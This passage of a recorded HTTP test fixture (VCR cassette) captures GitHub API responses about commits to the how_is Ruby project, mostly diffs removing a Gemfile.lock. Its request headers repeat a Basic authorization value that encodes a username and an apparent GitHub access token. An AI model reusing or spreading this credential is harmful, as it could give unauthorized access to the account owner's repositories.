/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28"},{"sha":"1829e9f5ba45d837345b9f86cd15eba79719eb24","url":"https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24","html_url":"https://github.com/how-is/how_is/commit/1829e9f5ba45d837345b9f86cd15eba79719eb24"}]},{"sha":"b2652ce6240d58e90e956eb7581a79a6f3765c34","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjI2NTJjZTYyNDBkNThlOTBlOTU2ZWI3NTgxYTc5YTZmMzc2NWMzNA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-11T22:35:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-11T22:35:08Z"},"message":"Gemfile: use Hashie from master branch\n\n - this avoids a Ruby warning, see https://github.com/intridea/hashie/pull/416","tree":{"sha":"b713008f4d4b46d685285eb1ba02c07dd2661a77","url":"https://api.github.com/repos/how-is/how_is/git/trees/b713008f4d4b46d685285eb1ba02c07dd2661a77"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34","html_url":"https://github.com/how-is/how_is/commit/b2652ce6240d58e90e956eb7581a79a6f3765c34","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28"}]},{"sha":"1829e9f5ba45d837345b9f86cd15eba79719eb24","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTgyOWU5ZjViYTQ1ZDgzNzM0NWI5Zjg2Y2QxNWViYTc5NzE5ZWIyNA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-11T22:32:27Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-11T22:32:27Z"},"message":"Update github_api, contracts to latest","tree":{"sha":"16bede8d574abf594774b6a2749bc63380e80ed6","url":"https://api.github.com/repos/how-is/how_is/git/trees/16bede8d574abf594774b6a2749bc63380e80ed6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24","html_url":"https://github.com/how-is/how_is/commit/1829e9f5ba45d837345b9f86cd15eba79719eb24","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:34 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3401' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"930734d0efe2c7c2368179b8d6bab12a" Last-Modified: - Mon, 24 Jul 2017 20:29:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - D72D:5F6F:1DF378:4287F6:5CC36AE2 body: encoding: ASCII-8BIT string: '{"sha":"6baf9704252e08989c6119f0d9b5fd931bf7a1e2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmJhZjk3MDQyNTJlMDg5ODljNjExOWYwZDliNWZkOTMxYmY3YTFlMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-24T20:29:09Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-24T20:29:09Z"},"message":"Merge pull request #183 from how-is/remove-gemfile-lock\n\nRemove Gemfile.lock.","tree":{"sha":"96023b92a44af644297da8d02e17fbdd06697067","url":"https://api.github.com/repos/how-is/how_is/git/trees/96023b92a44af644297da8d02e17fbdd06697067"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2","html_url":"https://github.com/how-is/how_is/commit/6baf9704252e08989c6119f0d9b5fd931bf7a1e2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d22d6fa70b0d952cf16c538498752659b97bfa3c","url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","html_url":"https://github.com/how-is/how_is/commit/d22d6fa70b0d952cf16c538498752659b97bfa3c"},{"sha":"2549a25b5a2eea47623c31c2101fc2d7c57119e5","url":"https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5","html_url":"https://github.com/how-is/how_is/commit/2549a25b5a2eea47623c31c2101fc2d7c57119e5"}],"stats":{"total":153,"additions":0,"deletions":153},"files":[{"sha":"275ccdc1c50d36c038f345093ca42b0747b34e8e","filename":"Gemfile.lock","status":"removed","additions":0,"deletions":153,"changes":153,"blob_url":"https://github.com/how-is/how_is/blob/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=d22d6fa70b0d952cf16c538498752659b97bfa3c","patch":"@@ -1,153 +0,0 @@\n-GIT\n- remote: https://github.com/pry/pry.git\n- revision: beaad80d0c1c1bf81ee464cdf9ae9a9e9b38c1df\n- specs:\n- pry (0.10.4)\n- coderay (~> 1.1.0)\n- method_source (~> 0.8.1)\n-\n-PATH\n- remote: .\n- specs:\n- how_is (18.0.4)\n- contracts (~> 0.16.0)\n- github_api (~> 0.17.0)\n- slop (~> 4.4.1)\n- tessellator-fetcher (~> 5.0.0)\n-\n-GEM\n- remote: https://rubygems.org/\n- specs:\n- activesupport (5.1.2)\n- concurrent-ruby (~> 1.0, >= 1.0.2)\n- i18n (~> 0.7)\n- minitest (~> 5.1)\n- tzinfo (~> 1.1)\n- addressable (2.4.0)\n- ast (2.3.0)\n- coderay (1.1.1)\n- concurrent-ruby (1.0.5)\n- contracts (0.16.0)\n- crack (0.4.3)\n- safe_yaml (~> 1.0.0)\n- curl_cacert (1.0.0)\n- default (1.0.0)\n- descendants_tracker (0.0.4)\n- thread_safe (~> 0.3, >= 0.3.1)\n- diff-lcs (1.3)\n- faraday (0.9.2)\n- multipart-post (>= 1.2, < 3)\n- faraday-http-cache (2.0.0)\n- faraday (~> 0.8)\n- github_api (0.17.0)\n- addressable (~> 2.4.0)\n- descendants_tracker (~> 0.0.4)\n- faraday (~> 0.8, < 0.10)\n- hashie (>= 3.4)\n- mime-types (>= 1.16, < 3.0)\n- oauth2 (~> 1.0)\n- github_changelog_generator (1.14.3)\n- activesupport\n- faraday-http-cache\n- multi_json\n- octokit (~> 4.6)\n- rainbow (>= 2.1)\n- rake (>= 10.0)\n- retriable (~> 2.1)\n- hashdiff (0.3.4)\n- hashie (3.5.6)\n- heresy (4.0.0)\n- default (~> 1.0.0)\n- heresy-string (~> 1.0.0)\n- net-socket (~> 1.0.0)\n- heresy-string (1.0.0)\n- i18n (0.8.6)\n- jwt (1.5.6)\n- mayhaps (0.3.0)\n- method_source (0.8.2)\n- mime-types (2.99.3)\n- minitest (5.10.3)\n- multi_json (1.12.1)\n- multi_xml (0.6.0)\n- multipart-post (2.0.0)\n- net-socket (1.0.0)\n- oauth2 (1.4.0)\n- faraday (>= 0.8, < 0.13)\n- jwt (~> 1.0)\n- multi_json (~> 1.3)\n- multi_xml (~> 0.5)\n- rack (>= 1.2, < 3)\n- octokit (4.7.0)\n- sawyer (~> 0.8.0, >= 0.5.3)\n- openssl-better_defaults (0.0.1)\n- parallel (1.11.2)\n- parser (2.4.0.0)\n- ast (~> 2.2)\n- powerpack (0.1.1)\n- rack (2.0.3)\n- rainbow (2.2.2)\n- rake\n- rake (11.3.0)\n- retriable (2.1.0)\n- rspec (3.6.0)\n- rspec-core (~> 3.6.0)\n- rspec-expectations (~> 3.6.0)\n- rspec-mocks (~> 3.6.0)\n- rspec-core (3.6.0)\n- rspec-support (~> 3.6.0)\n- rspec-expectations (3.6.0)\n- diff-lcs (>= 1.2.0, < 2.0)\n- rspec-support (~> 3.6.0)\n- rspec-mocks (3.6.0)\n- diff-lcs (>= 1.2.0, < 2.0)\n- rspec-support (~> 3.6.0)\n- rspec-support (3.6.0)\n- rubocop (0.49.1)\n- parallel (~> 1.10)\n- parser (>= 2.3.3.1, < 3.0)\n- powerpack (~> 0.1)\n- rainbow (>= 1.99.1, < 3.0)\n- ruby-progressbar (~> 1.7)\n- unicode-display_width (~> 1.0, >= 1.0.1)\n- ruby-progressbar (1.8.1)\n- safe_yaml (1.0.4)\n- sawyer (0.8.1)\n- addressable (>= 2.3.5, < 2.6)\n- faraday (~> 0.8, < 1.0)\n- slop (4.4.3)\n- tessellator-fetcher (5.0.1)\n- curl_cacert\n- heresy (~> 4.0.0)\n- mayhaps (~> 0.3.0)\n- openssl-better_defaults\n- thread_safe (0.3.6)\n- timecop (0.8.1)\n- tzinfo (1.2.3)\n- thread_safe (~> 0.1)\n- unicode-display_width (1.3.0)\n- vcr (3.0.3)\n- webmock (3.0.1)\n- addressable (>= 2.3.6)\n- crack (>= 0.3.2)\n- hashdiff\n-\n-PLATFORMS\n- ruby\n-\n-DEPENDENCIES\n- bundler (~> 1.11)\n- github_changelog_generator\n- how_is!\n- pry!\n- rake (~> 11.2)\n- rspec (~> 3.5)\n- rubocop (~> 0.49.1)\n- timecop (~> 0.8.1)\n- vcr (~> 3.0)\n- webmock\n-\n-RUBY VERSION\n- ruby 2.3.3p222\n-\n-BUNDLED WITH\n- 1.15.3"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:34 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3400' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f3468588f656af9a9762c4f8533f830a" Last-Modified: - Mon, 24 Jul 2017 20:23:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - E4D9:0A37:90658:187879:5CC36AE2 body: encoding: ASCII-8BIT string: '{"sha":"2549a25b5a2eea47623c31c2101fc2d7c57119e5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjU0OWEyNWI1YTJlZWE0NzYyM2MzMWMyMTAxZmMyZDdjNTcxMTllNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-24T20:23:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-24T20:23:53Z"},"message":"Remove Gemfile.lock.\n\nSee: http://yehudakatz.com/2010/12/16/clarifying-the-roles-of-the-gemspec-and-gemfile/","tree":{"sha":"96023b92a44af644297da8d02e17fbdd06697067","url":"https://api.github.com/repos/how-is/how_is/git/trees/96023b92a44af644297da8d02e17fbdd06697067"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5","html_url":"https://github.com/how-is/how_is/commit/2549a25b5a2eea47623c31c2101fc2d7c57119e5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d22d6fa70b0d952cf16c538498752659b97bfa3c","url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","html_url":"https://github.com/how-is/how_is/commit/d22d6fa70b0d952cf16c538498752659b97bfa3c"}],"stats":{"total":153,"additions":0,"deletions":153},"files":[{"sha":"275ccdc1c50d36c038f345093ca42b0747b34e8e","filename":"Gemfile.lock","status":"removed","additions":0,"deletions":153,"changes":153,"blob_url":"https://github.com/how-is/how_is/blob/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/d22d6fa70b0d952cf16c538498752659b97bfa3c/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=d22d6fa70b0d952cf16c538498752659b97bfa3c","patch":"@@ -1,153 +0,0 @@\n-GIT\n- remote: https://github.com/pry/pry.git\n- revision: beaad80d0c1c1bf81ee464cdf9ae9a9e9b38c1df\n- specs:\n- pry (0.10.4)\n- coderay (~> 1.1.0)\n- method_source (~> 0.8.1)\n-\n-PATH\n- remote: .\n- specs:\n- how_is (18.0.4)\n- contracts (~> 0.16.0)\n- github_api (~> 0.17.0)\n- slop (~> 4.4.1)\n- tessellator-fetcher (~> 5.0.0)\n-\n-GEM\n- remote: https://rubygems.org/\n- specs:\n- activesupport (5.1.2)\n- concurrent-ruby (~> 1.0, >= 1.0.2)\n- i18n (~> 0.7)\n- minitest (~> 5.1)\n- tzinfo (~> 1.1)\n- addressable (2.4.0)\n- ast (2.3.0)\n- coderay (1.1.1)\n- concurrent-ruby (1.0.5)\n- contracts (0.16.0)\n- crack (0.4.3)\n- safe_yaml (~> 1.0.0)\n- curl_cacert (1.0.0)\n- default (1.0.0)\n- descendants_tracker (0.0.4)\n- thread_safe (~> 0.3, >= 0.3.1)\n- diff-lcs (1.3)\n- faraday (0.9.2)\n- multipart-post (>= 1.2, < 3)\n- faraday-http-cache (2.0.0)\n- faraday (~> 0.8)\n- github_api (0.17.0)\n- addressable (~> 2.4.0)\n- descendants_tracker (~> 0.0.4)\n- faraday (~> 0.8, < 0.10)\n- hashie (>= 3.4)\n- mime-types (>= 1.16, < 3.0)\n- oauth2 (~> 1.0)\n- github_changelog_generator (1.14.3)\n- activesupport\n- faraday-http-cache\n- multi_json\n- octokit (~> 4.6)\n- rainbow (>= 2.1)\n- rake (>= 10.0)\n- retriable (~> 2.1)\n- hashdiff (0.3.4)\n- hashie (3.5.6)\n- heresy (4.0.0)\n- default (~> 1.0.0)\n- heresy-string (~> 1.0.0)\n- net-socket (~> 1.0.0)\n- heresy-string (1.0.0)\n- i18n (0.8.6)\n- jwt (1.5.6)\n- mayhaps (0.3.0)\n- method_source (0.8.2)\n- mime-types (2.99.3)\n- minitest (5.10.3)\n- multi_json (1.12.1)\n- multi_xml (0.6.0)\n- multipart-post (2.0.0)\n- net-socket (1.0.0)\n- oauth2 (1.4.0)\n- faraday (>= 0.8, < 0.13)\n- jwt (~> 1.0)\n- multi_json (~> 1.3)\n- multi_xml (~> 0.5)\n- rack (>= 1.2, < 3)\n- octokit (4.7.0)\n- sawyer (~> 0.8.0, >= 0.5.3)\n- openssl-better_defaults (0.0.1)\n- parallel (1.11.2)\n- parser (2.4.0.0)\n- ast (~> 2.2)\n- powerpack (0.1.1)\n- rack (2.0.3)\n- rainbow (2.2.2)\n- rake\n- rake (11.3.0)\n- retriable (2.1.0)\n- rspec (3.6.0)\n- rspec-core (~> 3.6.0)\n- rspec-expectations (~> 3.6.0)\n- rspec-mocks (~> 3.6.0)\n- rspec-core (3.6.0)\n- rspec-support (~> 3.6.0)\n- rspec-expectations (3.6.0)\n- diff-lcs (>= 1.2.0, < 2.0)\n- rspec-support (~> 3.6.0)\n- rspec-mocks (3.6.0)\n- diff-lcs (>= 1.2.0, < 2.0)\n- rspec-support (~> 3.6.0)\n- rspec-support (3.6.0)\n- rubocop (0.49.1)\n- parallel (~> 1.10)\n- parser (>= 2.3.3.1, < 3.0)\n- powerpack (~> 0.1)\n- rainbow (>= 1.99.1, < 3.0)\n- ruby-progressbar (~> 1.7)\n- unicode-display_width (~> 1.0, >= 1.0.1)\n- ruby-progressbar (1.8.1)\n- safe_yaml (1.0.4)\n- sawyer (0.8.1)\n- addressable (>= 2.3.5, < 2.6)\n- faraday (~> 0.8, < 1.0)\n- slop (4.4.3)\n- tessellator-fetcher (5.0.1)\n- curl_cacert\n- heresy (~> 4.0.0)\n- mayhaps (~> 0.3.0)\n- openssl-better_defaults\n- thread_safe (0.3.6)\n- timecop (0.8.1)\n- tzinfo (1.2.3)\n- thread_safe (~> 0.1)\n- unicode-display_width (1.3.0)\n- vcr (3.0.3)\n- webmock (3.0.1)\n- addressable (>= 2.3.6)\n- crack (>= 0.3.2)\n- hashdiff\n-\n-PLATFORMS\n- ruby\n-\n-DEPENDENCIES\n- bundler (~> 1.11)\n- github_changelog_generator\n- how_is!\n- pry!\n- rake (~> 11.2)\n- rspec (~> 3.5)\n- rubocop (~> 0.49.1)\n- timecop (~> 0.8.1)\n- vcr (~> 3.0)\n- webmock\n-\n-RUBY VERSION\n- ruby 2.3.3p222\n-\n-BUNDLED WITH\n- 1.15.3"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:34 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3399' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"55dde7b26cd7a08858ddf8427227ddf4" Last-Modified: - Mon, 24 Jul 2017 20:15:24 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - C08F:4906:27FF74:50A628:5CC36AE2 body: encoding: ASCII-8BIT string: 